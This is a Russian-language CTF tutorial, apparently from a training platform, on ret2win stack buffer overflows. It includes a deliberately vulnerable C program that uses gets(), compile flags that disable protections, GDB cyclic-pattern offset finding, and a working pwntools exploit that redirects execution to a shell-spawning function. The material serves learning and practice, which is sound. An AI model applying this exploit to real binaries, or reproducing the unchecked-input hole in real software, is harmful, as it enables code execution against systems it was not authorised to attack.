
Первая pwn-задача на CTF решается за 15 минут — если понимаешь механику стека. Без этого понимания можно просидеть три часа, тыкая случайные строки в gets() и получая Segmentation fault без малейшего представления, почему программа падает и как это превратить в shell. Разница между «три часа впустую» и «четверть часа до флага» — знание того, где в памяти лежит адрес возврата и как до него добраться. Разберём классическую CTF-задачу типа ret2win от начала до конца: посмотрим, как устроен стек, найдём смещение до адреса возврата через GDB и cyclic pattern, напишем рабочий эксплойт на pwntools и получим shell.
Стек — область памяти для локальных переменных, аргументов функций и служебных данных при каждом вызове. В архитектуре x86 стек растёт вниз: от старших адресов к младшим. Каждый вызов функции создаёт на стеке новый кадр (stack frame), и именно в этом кадре лежит то, что нам нужно — адрес возврата (return address). Подробнее — в нашем материале про бинарный анализ уязвимостей.
Три регистра, без которых в GDB делать нечего:
push уменьшает ESP, каждый pop увеличивает.В 64-битных системах аналоги — RSP, RBP и RIP. Механика та же, но адреса занимают 8 байт вместо 4.
Когда функция вызывается через call, процессор автоматически кладёт на стек адрес следующей инструкции — адрес возврата. Когда функция завершается через ret, процессор снимает этот адрес со стека и прыгает по нему. Если между вызовом и возвратом мы успели перезаписать это значение — программа прыгнет куда скажем. Перезапись адреса возврата (return address overwrite) — фундамент бинарной эксплуатации и основа большинства pwn-задач CTF для новичков.
Вот как выглядит стек внутри функции с 64-байтным буфером:
High addresses (дно стека)
┌─────────────────────┐
│ Return Address │ ← сюда пишем адрес win()
├─────────────────────┤
│ Saved EBP │ ← сохранённый указатель кадра
├─────────────────────┤
│ buf[64] │ ← сюда пишет gets()
└─────────────────────┘
Low addresses (вершина стека)
Буфер buf заполняется от младших адресов к старшим. Записали больше 64 байт — данные «вылезли» за границу буфера, затёрли Saved EBP и добрались до Return Address. Это и есть переполнение буфера стека — stack buffer overflow (иногда говорят stack smashing). По данным ctf101.org, этот тип уязвимости — самый простой и частый в категории pwn.
Типичная CTF-задача. Бинарь содержит функцию win(), которая вызывает system("/bin/sh") и даёт shell. Но main() её нигде не вызывает — перенаправить поток выполнения нужно руками. Такая структура — стандарт для beginner-level pwn-тасок на picoCTF и в соревнованиях вроде Summit CTF.
#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
char buf[64];
gets(buf);
}
int main() {
vuln();
return 0;
}
gets() читает ввод до символа новой строки, не проверяя длину буфера. Отправили больше 64 байт — перезаписали Saved EBP, а затем Return Address. Поэтому gets() — подарок для атакующего и классический маркер уязвимости в CTF. В реальном коде gets() признали устаревшей в C99 и полностью удалили из стандарта C11 (ISO/IEC 9899:2011), но в учебных задачах она встречается повсеместно. Аналогичные проблемы возникают при неправильном использовании strcpy(), sprintf() или fgets() с размером больше буфера — как в разборе из Summit CTF 2023, где fgets принимала 0x400 байт в 16-байтный буфер, по данным Arch Cloud Labs.
Компилируем бинарь с отключёнными защитами — как обычно сделано в задачах для начинающих: gcc -no-pie -fno-stack-protector -z execstack -m32 vuln.c -o vuln.
Нюанс: на Ubuntu 22.04+ с glibc 2.34+ функция gets() удалена полностью — и из заголовков, и из libc.so. Даже добавление char *gets(char *); приведёт к ошибке линковки. Замените gets(buf) на read(0, buf, 256) или fgets(buf, 256, stdin) — эффект переполнения тот же. Или компилируйте в Docker с ubuntu:20.04 / на Debian 11, где glibc < 2.34.
Разберём флаги:
-no-pie — отключает PIE, адреса в бинаре фиксированы при каждом запуске-fno-stack-protector — убирает stack canary (проверку целостности стека)-z execstack — делает стек исполняемым (снимает NX)-m32 — собирает 32-битный бинарь (нужен пакет gcc-multilib)Перед написанием эксплойта — смотрим, какие защиты включены. checksec из pwntools показывает всё одной командой: checksec ./vuln. Для нашего бинаря:
p32().win().win() одинаков при каждом запуске, можно хардкодить.Если хотя бы одна из этих защит включена — чистый ret2win может не сработать. Об ограничениях — в конце статьи.
Прежде чем повторять шаги:
pip install pwntools>=4.13.0 — версии ниже 4.13.0 содержат SSTI-уязвимость GHSA-7xc5-ggpp-g249, PYSEC-2023-78)git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh). Можно peda, но pwndbg удобнее для pwn-задач — разница между «ненавижу GDB» и «о, я вижу стек» буквально в одной команде установкиsudo apt install gcc-multilibБуфер — 64 байта. За ним Saved EBP — ещё 4 байта в 32-bit. Значит, offset до Return Address — 68 байт? Не обязательно. Компилятор может выравнивать данные на 16-байтную границу, добавлять padding, и реальное смещение будет отличаться от теоретического. Поэтому offset вычисляется экспериментально — через паттерн Де Брёйна (De Bruijn sequence).
pwntools даёт функцию cyclic(), которая генерирует последовательность, где каждая подпоследовательность из 4 символов уникальна: from pwn import *; print(cyclic(200)). На выходе — 200 байт вида aaaabaaacaaadaaaeaaa.... Каждый фрагмент из четырёх байт встречается ровно один раз, и по нему можно точно определить позицию любого значения.
Запускаем бинарь под отладчиком: gdb ./vuln. Сначала генерируем паттерн в файл: python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(cyclic(200) + b"\n")' > pattern.txt. В pwndbg: run < pattern.txt. Программа упадёт с Segmentation fault, и pwndbg покажет состояние регистров. Смотрим на EIP — там окажется что-то вроде 0x6161616c (конкретные байты зависят от компилятора и версии). Это четыре байта из паттерна в little-endian. Копируем значение — оно понадобится для вычисления offset. Процессор попытался перейти по несуществующему адресу — отсюда Segfault.
Находим позицию этих байт в паттерне: cyclic_find(<значение EIP>) — подставляем то, что увидели в регистре. pwntools вернёт число, допустим 76. Это количество байт перед адресом возврата. Первые 76 байт — мусор (буфер, возможный padding, Saved EBP), следующие 4 байта — адрес, на который прыгнет программа.
Альтернативный путь — прямо в pwndbg: команда cyclic 200 генерирует паттерн, после crash команда cyclic -l <значение_EIP> вычисляет offset автоматически.
Почему 76, а не 68? Компилятор при -m32 часто выравнивает стек на 16-байтную границу и добавляет padding. Считать offset «на глаз» — плохая привычка в бинарной эксплуатации. Cyclic pattern — обязательный шаг.
Адрес целевой функции можно узнать несколькими способами. В GDB: info functions win или print win. Через pwntools: ELF('./vuln').symbols['win']. Через командную строку: objdump -d vuln | grep win. Допустим, адрес — 0x08049186. Он фиксирован, потому что PIE отключён.
from pwn import *
p = process('./vuln')
offset = 76
win = 0x08049186
payload = b'A' * offset + p32(win)
p.sendline(payload)
p.interactive()
Что тут происходит построчно:
from pwn import * — импортирует весь арсенал: process, p32, cyclic, ELF и десятки других функций для pwn-задач CTF.p = process('./vuln') — запускает бинарь как дочерний процесс. Для удалённой задачи на CTF-сервере — remote('host', port).offset = 76 — количество байт до адреса возврата, найденное через cyclic pattern в GDB.win = 0x08049186 — адрес функции win(), фиксированный из-за отсутствия PIE.payload = b'A' * offset + p32(win) — 76 байт мусора (буква 'A' — традиция, годится любой символ) плюс адрес win(), упакованный в 4 байта little-endian через p32(). Она превращает 0x08049186 в \x86\x91\x04\x08 — порядок байт, который ожидает x86.p.sendline(payload) — отправляет payload бинарю с символом новой строки (его ждёт gets() для завершения ввода).p.interactive() — передаёт управление: теперь вы общаетесь с shell напрямую.Запускаем: python3 exploit.py. Если всё верно — вместо Segfault получаем $. Команда whoami подтвердит, что код выполняется от имени пользователя, запустившего бинарь. На CTF-сервере в текущей директории обычно лежит файл с флагом: cat flag.txt.
0x08049186 нужно упаковать как \x86\x91\x04\x08, а не \x08\x04\x91\x86. p32() делает это автоматически — не пакуйте руками через struct.pack, наступите на грабли.amd64-64-little — используйте p64() вместо p32(). Saved RBP занимает 8 байт, offset будет другим.cyclic_find и p32/p64 pwntools должен знать архитектуру. Добавьте context.arch = 'i386' для 32-bit или context.arch = 'amd64' для 64-bit.[Применимо: CTF beginner-level, бинари без защит, 32/64-bit Linux]
Ret2win работает при строгих условиях:
Работает если: PIE отключён (адреса фиксированы), stack canary отсутствует (нет проверки целостности), в бинаре есть win-функция с system() или чтением флага, используется уязвимая функция ввода без проверки длины.
Не работает если:
__stack_chk_fail и умирает до ret. Обход: утечка значения canary через format string или brute-force (для fork-серверов).ret.system, execve меняются при каждом запуске и требуют утечки.За пределами CTF переполнение буфера стека — техника эксплуатации на разных этапах kill chain:
В CTF цепочка проще: получаем бинарь → реверсим → находим уязвимость → пишем эксплойт → забираем shell или флаг. Но навыки — чтение стека в отладчике, вычисление offset через cyclic, работа с pwntools — напрямую переносятся на задачи реального пентеста.
Ret2win — первые 10% бинарной эксплуатации. Следующий шаг — ROP (Return-Oriented Programming). Когда NX включён и шелл-код в стеке не исполняется, атакующий выстраивает цепочку из gadget'ов — коротких последовательностей инструкций, заканчивающихся ret. Для поиска gadget'ов — ROPgadget и ropper. На основе ROP строится ret2libc: цепочка вызывает system("/bin/sh") из libc, для чего нужна утечка адреса libc (через puts@PLT или format string) и знание версии библиотеки на сервере.
Для тренировки — pwn.college (бесплатные модули от авторов CTF-курса ASU с прогрессией от простого к сложному) и picoCTF (задачи от Carnegie Mellon с нарастающей сложностью). На pwn.college подход похож на то, что описано здесь: сначала конкретный бинарь, потом теория, потом усложнение.
По опыту подготовки ребят к CTF: эффективнее дать конкретный бинарь в первые пять минут. Пусть человек запустит checksec, увидит «No canary, No PIE», вызовет crash в GDB — и только после этого разбирать, почему crash произошёл. Мотивация копаться в теории появляется после первого контролируемого Segfault, а не до него. Ещё наблюдение: новички боятся GDB не потому что он сложный, а потому что незнакомый. pwndbg меняет ситуацию кардинально — после установки GDB выглядит как нормальный отладчик с подсветкой регистров, стека и дизассемблера в одном окне. Кто не ставил — поставьте, это другой уровень gdb отладки эксплойта. Ret2win — точка входа, ROP и heap — следующие уровни, каждая техника строится на предыдущей. Если после этой статьи захочется системно готовиться к OSCP — на WAPT эту цепочку проходят в течение двух модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...